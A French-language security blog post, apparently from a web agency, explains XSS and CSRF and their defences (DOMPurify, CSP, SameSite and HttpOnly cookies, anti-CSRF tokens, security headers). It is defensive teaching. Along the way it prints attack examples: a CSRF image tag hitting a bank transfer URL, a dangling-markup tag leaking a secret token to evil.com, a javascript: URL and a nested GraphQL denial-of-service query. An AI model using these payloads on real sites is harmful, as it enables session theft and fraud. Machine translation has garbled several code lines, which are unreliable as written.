CSRF & XSS : les jumeaux de la destruction du Web
Les deux vulnérabilités les plus courantes dans les applications Web. Un guide technique sur les cookies SameSite, les en-têtes HttpOnly et la désinfection des entrées.
“Nous vendons juste des t-shirts. Pourquoi quelqu’un nous piraterait-il ?” C’est l’état d’esprit naïf de l’ingénieur junior. Les attaquants ne vous piratent pas parce que vous êtes « important ». Ils vous piratent parce que vous êtes vulnérable. Ils exécutent des robots automatisés qui analysent des millions de domaines à la recherche d’exploits courants. Si votre magasin de t-shirts présente une vulnérabilité XSS, il installera un écumeur de carte de crédit (Magecart) et volera 10 000 numéros de carte de crédit. Vous ferez faillite.
Chez Maison Code Paris, nous concevons des systèmes transactionnels. La sécurité n’est pas une « fonctionnalité ». C’est le Sous-sol. Ce guide couvre les deux vulnérabilités les plus mortelles : XSS et CSRF.
Pourquoi Maison Code en parle
Chez Maison Code Paris, nous agissons comme la conscience architecturale de nos clients. Nous héritons souvent de stacks “modernes” construites sans compréhension fondamentale de l’échelle.
Nous abordons ce sujet car il représente un point de pivot critique dans la maturité de l’ingénierie. Une mise en œuvre correcte différencie un MVP fragile d’une plateforme résiliente de niveau entreprise.
1. XSS (Cross-Site Scripting) : vol de données
XSS se produit lorsqu’un attaquant peut exécuter JavaScript dans le navigateur de votre utilisateur. S’ils peuvent exécuter JS, ils peuvent lire « document.cookie ». S’ils peuvent lire les cookies, ils sont propriétaires du compte.
Le vecteur d’attaque
Tapez : XSS stocké.
- L’attaquant publie une critique sur le produit : « Superbe chemise ! )”`
- La base de données stocke cette chaîne.
- Le Frontend le restitue.
- Chaque client qui consulte la page produit exécute aveuglément le script.
- 1 000 identifiants de session sont envoyés à « evil.com ».
La Défense : codage de sortie contextuel
Règle : Ne faites jamais confiance à la base de données.
Les frameworks modernes (React/Vue) vous protègent par défaut.
Ils « échappent » aux variables.
< devient <. Le navigateur affiche le texte, pas le code.
La zone de danger : dangerouslySetInnerHTML.
React vous permet de contourner la protection.
Cas d’utilisation : contenu CMS, éditeurs de texte enrichi.
Solution : DOMPurify.
Vous devez nettoyer le HTML avant de le rendre.
importer DOMPurify depuis 'dompurify' ;
function Description du produit({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerlySetInnerHTML={{ __html: clean }} />;
}
DOMPurify supprime les liens <script>, <iframe>, onload, javascript:. Il laisse <b> et <p>.
La Défense : CSP (Content Security Policy)
(Voir Guide CSP). Même si l’attaquant injecte un script, CSP empêche le navigateur de l’exécuter à moins qu’il ne dispose d’un Nonce valide. Défense en profondeur.
2. CSRF (Cross-Site Request Forgery) : Vol d’action
CSRF se produit lorsqu’un attaquant incite l’utilisateur à effectuer une action qu’il n’avait pas prévue.
Le vecteur d’attaque
- L’utilisateur se connecte à « bank.com ». Le cookie de session est défini.
- L’utilisateur visite « evil.com ».
evil.coma une image invisible :<img src="https://bank.com/transfer?to=hacker&amount=1000" />- Le navigateur voit que l’URL implique « bank.com ». Il attache automatiquement le cookie de session valide.
bank.comreçoit une demande valide (avec cookie) et transfère l’argent.
La Défense : Cookies SameSite
Cela met à jour la politique en matière de cookies du navigateur.
Set-Cookie : session_id=xyz ; MêmeSite=Lax; Sécurisé; HttpSeulement ;
- Strict : le cookie est envoyé uniquement pour les demandes de première partie. (Meilleure sécurité).
- Lax : le cookie n’est pas envoyé sur les sous-requêtes (images/iframes), mais est envoyé lors de la navigation de niveau supérieur. (Bon équilibre).
- Aucun : le cookie est envoyé partout. (Précaire).
En définissant SameSite=Lax, la balise <img> de evil.com ne portera pas le cookie. La demande échoue (401 non autorisé).
La Défense : les jetons anti-CSRF
Pour les mutations (POST/PUT), nous exigeons une vérification secondaire.
- Le serveur envoie un « csrf_token » dans une balise méta.
- JavaScript le lit et l’envoie dans un en-tête
X-CSRF-Token. - Le serveur valide : l’en-tête correspond-il à la session ?
L’attaquant ne peut pas lire la balise méta (politique Cross-Origin). L’attaquant ne peut pas usurper l’en-tête.
3. Stockage : cookies LocalStorage vs HttpOnly
Où stockez-vous le JWT (Json Web Token) ?
Stockage local :
- Facile à utiliser (
localStorage.getItem('token')). - Vulnérable à XSS. Si l’attaquant exécute JS, il peut lire tout LocalStorage.
Cookie HTTP uniquement :
- Plus difficile à utiliser (le serveur doit le définir).
- Immunisé contre le vol XSS. JavaScript ne peut pas lire les cookies HttpOnly.
document.cookierenvoie une chaîne vide.
Recommandation : utilisez toujours les cookies HttpOnly pour les ID de session sensibles. Même si vous disposez d’une vulnérabilité XSS, l’attaquant ne peut pas exfiltrer la clé. Ils ne peuvent faire que des requêtes (que la protection CSRF arrête).
4. Le point de vue du sceptique
“React est sécurisé par défaut.” FAUX. React protège la couche de vue. Il ne protège pas :
javascript :URL (<a href={userLink}>). SiuserLinkestjavascript:alert(1), cliquer dessus exécute le code.- Injection de rendu côté serveur (SSR).
- Attaques de la chaîne d’approvisionnement (packages NPM malveillants).
“Je n’ai pas besoin de protection CSRF car j’utilise des JWT dans les en-têtes.” Vrai. Si vous n’utilisez pas de cookies, vous êtes immunisé contre le CSRF. Mais maintenant, vous stockez les JWT dans LocalStorage, vous êtes donc vulnérable au XSS. ** Choisissez votre poison. ** (Nous choisissons Cookies + Protection CSRF).
5. En-têtes de sécurité (casque)
N’envoyez pas de réponses HTTP nues.
Utilisez la configuration helmet (Node.js) ou headers (Next.js) pour définir :
X-Content-Type-Options : nosniff(Empêche le reniflage MIME).X-Frame-Options : DENY(empêche le détournement de clics).Politique de référence : strict-origin-when-cross-origin.- « Strict-Transport-Security » (HSTS) : appliquer HTTPS.
7. Injection GraphQL (la nouvelle injection SQL)
Les développeurs pensent que GraphQL est sûr car il est typé.
Faux.
Si vous utilisez GraphQL sans Query Depth Limiting, un attaquant peut vous DDOS avec une seule requête.
query { utilisateur { amis { utilisateur { amis { utilisateur { amis ... } } } } } }
Cette requête imbriquée fait exploser votre base de données.
Défense : utilisez graphql-degree-limit. Limitez la profondeur à 5.
Méfiez-vous également des attaques par lots.
Si vous autorisez les requêtes par lots, un attaquant peut forcer brutalement 10 000 mots de passe en une seule requête HTTP.
Défense : désactivez le traitement par lots sur les points de terminaison publics.
8. JWT : Le mensonge « apatride »
Tout le monde utilise les JWT car « les sessions ne s’adaptent pas ». C’est un mensonge. Redis s’adapte à des millions d’opérations/s. Le problème avec JWT est la Révocation. Si un attaquant vole un JWT, il est l’administrateur pendant 1 heure. Vous ne pouvez pas les déconnecter. Vous devez faire pivoter la clé de signature, ce qui déconnecte tout le monde. Approche hybride : stockez le JWT dans une « liste autorisée » Redis. Vérifiez Redis à chaque demande. Vous avez maintenant un « JWT avec état ». Cela va à l’encontre de l’objectif, mais c’est sûr. Ou utilisez simplement les cookies de session. Ils ont travaillé pour Google pendant 20 ans.
9. Risques de rachat de sous-domaines
Votre site a-t-il blog.maisoncode.paris pointant vers un hébergeur WordPress que vous avez annulé il y a 3 ans ?
Si cet enregistrement CNAME existe toujours, un attaquant peut enregistrer un blog sur cet hôte et revendiquer votre sous-domaine.
Puisqu’ils sont sur *.maisoncode.paris, ils peuvent lire vos cookies (si domain=.maisoncode.paris).
Défense : auditez vos enregistrements DNS. Supprimez tout CNAME pointant vers un service pour lequel vous ne payez plus.
10. Injection de balisage suspendu
Si un attaquant peut injecter une balise d’image mais ne pas la fermer :
<img src='https://evil.com/log?
Ils mangent le reste de votre code HTML jusqu’à la prochaine citation.
<img src='https://evil.com/log? <form><input value="SECRET_TOKEN"> ...
Le navigateur envoie votre jeton secret à « evil.com » dans le cadre de la requête URL.
Défense : les restrictions CSP img-src empêchent le navigateur d’extraire des données vers des domaines non autorisés. Mais la « Politique de sécurité du contenu » fonctionne mieux lorsqu’elle est stricte.
12. Défenses contre le détournement de clics en profondeur
« X-Frame-Options : DENY » est l’ancienne méthode.
Content-Security-Policy : frame-ancestors 'none' est la nouvelle méthode.
Pourquoi utiliser CSP ? Parce qu’il prend en charge l’autorisation de partenaires spécifiques.
frame-ancetors https://partner.com.
Si vous ne définissez pas cela, je peux intégrer votre paiement dans un iframe au pixel près sur « free-iphone.com ».
L’utilisateur pense qu’il vérifie.
Je capture leurs clics de souris (à l’aide de superpositions transparentes) pour rediriger le bouton « Acheter » vers mon produit.
C’est insidieux. Bloquez-le globalement.
12. SameSite : Laxiste vs Strict (Plongée approfondie)
“Lax” est la valeur par défaut dans Chrome. Il autorise les cookies sur la navigation de premier niveau (en cliquant sur un lien de Google vers votre site). “Strict” bloque les cookies sur la navigation de niveau supérieur. Si vous définissez « SameSite=Strict » et qu’un utilisateur clique sur un lien dans un e-mail « Afficher la commande », il arrivera Déconnecté. C’est une mauvaise UX. Stratégie :
- Cookie de session : « Autorisé (Lax) ».
- Jeton d’action sensible (supprimer le compte) : « Obligatoire (Strict) ». Vous pouvez avoir deux jetons. Un pour lire, un pour écrire.
13. Pourquoi Maison Code ?
Chez Maison Code, nous auditons le Top 10 OWASP par défaut.
Nous ne pensons pas que React soit sûr.
Nous auditons votre « dangerouslySetInnerHTML ».
Nous configurons vos cookies SameSite.
Nous mettons en place votre CSP.
Nous pensons qu’une expérience de luxe inclut le luxe de la sécurité.
Vos clients ne devraient pas avoir à s’inquiéter du vol de carte de crédit.
14. Conclusion
La sécurité est en grande partie invisible. Les fonctionnalités vous permettent d’être promu. La sécurité vous empêche de vous faire virer. C’est un travail ingrat, jusqu’au jour où il sauve l’entreprise. Soyez fier du bouclier invisible que vous construisez.
Votre application fuit ?
Nous effectuons des tests d’intrusion et des audits de code pour les applications à haut risque. Engagez nos Architectes.